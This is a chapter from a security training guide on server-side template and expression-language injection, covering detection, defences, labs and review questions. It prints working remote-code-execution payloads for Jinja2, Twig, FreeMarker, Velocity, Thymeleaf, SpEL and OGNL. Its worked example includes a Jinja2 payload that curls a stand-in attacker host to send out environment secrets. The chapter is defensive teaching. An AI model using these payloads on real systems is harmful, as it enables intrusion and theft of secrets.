Frontend Labs
⋯

Chapter 36 — Server-side template and expression-language injection

In one sentence

If user input is concatenated into a template's source (not passed as data), the template engine evaluates it — {{7*7}} becomes 49 — and from there, engine-specific gadget chains reach the filesystem and the shell.

Where we are

G1 Ch 42 covered injection generally; SSTI is the template-engine special case, and Expression-Language injection (SpEL, OGNL, MVEL, JEXL) is its Java cousin. Both are frequently full RCE.

How it works

Detection — differential evaluation:

   Inject a polyglot into every reflected parameter:
     ${{<%[%'"}}%\
   and engine-specific math:
     {{7*7}}      Jinja2, Twig, Nunjucks       -> 49
     ${7*7}       FreeMarker, Thymeleaf, JSP EL, SpEL   -> 49
     #{7*7}       Ruby (some), JSF EL
     <%= 7*7 %>   ERB, EJS
     {7*7}        (rare)
     ${7*'7'}     type-coercion differential to distinguish engines
   If `49` (or an error revealing the engine) comes back where `7*7`
   went in -> SSTI. `${7*7}` rendering but `{{7*7}}` not -> FreeMarker/
   Velocity/EL family; the reverse -> Jinja/Twig family.

Escalation (a few canonical chains):

   Jinja2 (Python):
     {{ ''.__class__.__mro__[1].__subclasses__() }}   -> enumerate classes
     {{ cycler.__init__.__globals__.os.popen('id').read() }}
     {{ self.__init__.__globals__.__builtins__.__import__('os')
        .popen('id').read() }}
     {{ config.__class__.__init__.__globals__['os'].popen('id').read() }}
     (SandboxedEnvironment raises the bar but has had bypasses.)
   Twig (PHP):
     {{ ['id']|filter('system') }}
     {{ _self.env.registerUndefinedFilterCallback('exec') }}
     {{ _self.env.getFilter('id') }}
   FreeMarker (Java):
     <#assign ex="freemarker.template.utility.Execute"?new()>${ex('id')}
     ${"freemarker.template.utility.ObjectConstructor"?new()(...)}
   Velocity (Java):
     #set($e=$x.class.forName('java.lang.Runtime').getRuntime())
     $e.exec('id')
   Thymeleaf (Java, expression preprocessing):
     __${T(java.lang.Runtime).getRuntime().exec('id')}__::.x
   Smarty (PHP):  {system('id')}   {php}...{/php}
   Handlebars / Pug / Nunjucks (JS):  constructor/prototype chains ->
     require('child_process').execSync('id')
   EXPRESSION LANGUAGE:
     SpEL (Spring):  ${T(java.lang.Runtime).getRuntime().exec('id')}
       -- Spring Data / SpEL in @Value, @PreAuthorize, query hints, SSTI
       via Thymeleaf.
     OGNL (Struts2):  %{(#a=@java.lang.Runtime@getRuntime().exec('id'))}
       -- the S2-0xx CVE family.
     MVEL / JEXL / OGNL in other frameworks -- same shape.

Defence:

   [ ] NEVER build a template from user input by concatenation. User data
       is a CONTEXT VARIABLE passed to a pre-defined template:
         render("email.html", {name: user.name})     // safe
         render("Hello " + user.name + "!")           // SSTI
   [ ] Don't let users supply templates. If a product feature genuinely
       needs user-authored templates (email designer, report builder):
         - use a LOGIC-LESS engine (Mustache) or a strict sandbox
           (Jinja2 SandboxedEnvironment, Twig sandbox extension) -- and
           know sandboxes have had escapes; keep them patched.
         - render in an ISOLATED process: no filesystem beyond what's
           needed, no network egress, seccomp, CPU/mem/time limits,
           non-root -> a sandbox escape yields a locked box.
         - allowlist the variables/filters/tags exposed to the template.
   [ ] Expression Language: don't pass user input into SpEL/OGNL/MVEL
       evaluation contexts (Spring `@Value`, `SpelExpressionParser` on
       user data, Struts OGNL). Use parameterised APIs; keep the framework
       patched (the Struts OGNL and Spring SpEL CVE history is long).
   [ ] WAF signatures for `{{`, `${T(`, `#{`, `__$` help as defence in
       depth, not as the fix (encoding/whitespace bypasses).

Worked example

SSTI in an email-notification "subject template" feature.

   SecureShop lets tenant admins customise notification subjects:
     "Order {{order_id}} shipped to {{customer_name}}"
   The code does:  Jinja2 Environment().from_string(admin_supplied_subject)
                     .render(order_id=..., customer_name=...)
   A malicious (or compromised) tenant admin sets the subject to:
     {{ cycler.__init__.__globals__.os.popen(
        'curl http://attacker/$(cat /proc/self/environ|base64 -w0)').read() }}
   Every time an order ships, the notification worker executes it -> RCE
   on the notification worker, env vars (secrets) exfiltrated, then pivot.

   FIX:
     - Subjects are NOT templates. Use a fixed set of named placeholders
       with plain string substitution over an ALLOWLIST:
         SAFE_VARS = {"order_id", "customer_name", "tenant_name"}
         out = re.sub(r"\{\{(\w+)\}\}",
                 lambda m: str(ctx[m.group(1)]) if m.group(1) in SAFE_VARS
                           else m.group(0), subject)
       No engine, no evaluation.
     - If richer templating is a real requirement: Jinja2
       `SandboxedEnvironment`, an allowlist of filters, rendered in a
       gVisor pod (Part 4 Ch 21) with no egress and no secrets in env,
       CPU/time capped.
     - Alert on the notification worker spawning a child process (Falco,
       Part 4 Ch 20).

Practice (60 min)

  1. PortSwigger Academy "Server-side template injection" track: detection, then RCE in ERB, Tornado, Freemarker, Handlebars, Django, and via documentation (identify the engine, find the chain), plus the SpEL/Thymeleaf lab.
  2. Locally: a Flask app that does render_template_string("Hi " + name). Confirm {{7*7}}, then get RCE via the cycler/config chain. Then switch to render_template with name as context and re-test — inert.
  3. Build the "user-authored template" feature safely: SandboxedEnvironment + filter allowlist + a locked-down subprocess/container. Try the standard escapes; document what the sandbox + isolation stop.
  4. A Spring app with @Value("#{...}") fed user input (or SpelExpressionParser on a request param) — get RCE via T(java.lang.Runtime); fix by not evaluating user input as SpEL.
  5. Add a Semgrep rule flagging from_string / render_template_string / SpelExpressionParser / Environment().from_string with non-literal args.

Common mistakes

  • Building template strings by concatenation. The one rule: user data is context, never source.
  • Offering user-authored templates with only a sandbox. Sandboxes (Jinja2, Twig) have documented escapes. Sandbox and process isolation and variable allowlist, kept patched.
  • Passing user input into SpEL/OGNL/MVEL. Spring @Value, Struts OGNL, query hints — all RCE-prone. Don't.
  • Assuming {{ }} not rendering means safe. Try ${ }, #{ }, <%= %>, __${ } — different engines.
  • Relying on a WAF. Whitespace, comments, string concatenation, and attribute tricks bypass signatures.
  • Not monitoring for child-process spawns in template/notification/report workers — your detection for a successful chain.

Check yourself

  1. What distinguishes SSTI from ordinary output injection (XSS)?
  2. How do you detect SSTI and roughly fingerprint the engine?
  3. Give a Jinja2 payload that reaches os from a template context.
  4. What is Expression-Language injection and name two frameworks where it's historically been RCE.
  5. If a feature genuinely needs user-authored templates, what three layers make it acceptable?
  6. Why isn't a template-engine sandbox alone sufficient?

Further reading

  • Research: PortSwigger — "Server-Side Template Injection" (James Kettle, 2015) — the paper that named the class. tplmap and the PayloadsAllTheThings SSTI/EL sections.
  • Labs: PortSwigger Academy SSTI track.
  • EL: the Apache Struts S2 advisories (OGNL), Spring SpEL CVEs (e.g. CVE-2022-22963/22965 context), the "SpEL injection" write-ups.
  • Sandboxes: Jinja2 SandboxedEnvironment docs and its historical bypasses; Twig sandbox extension.

Generated from real-life-security-guide-v1.md · 8 Oct 2026 16:36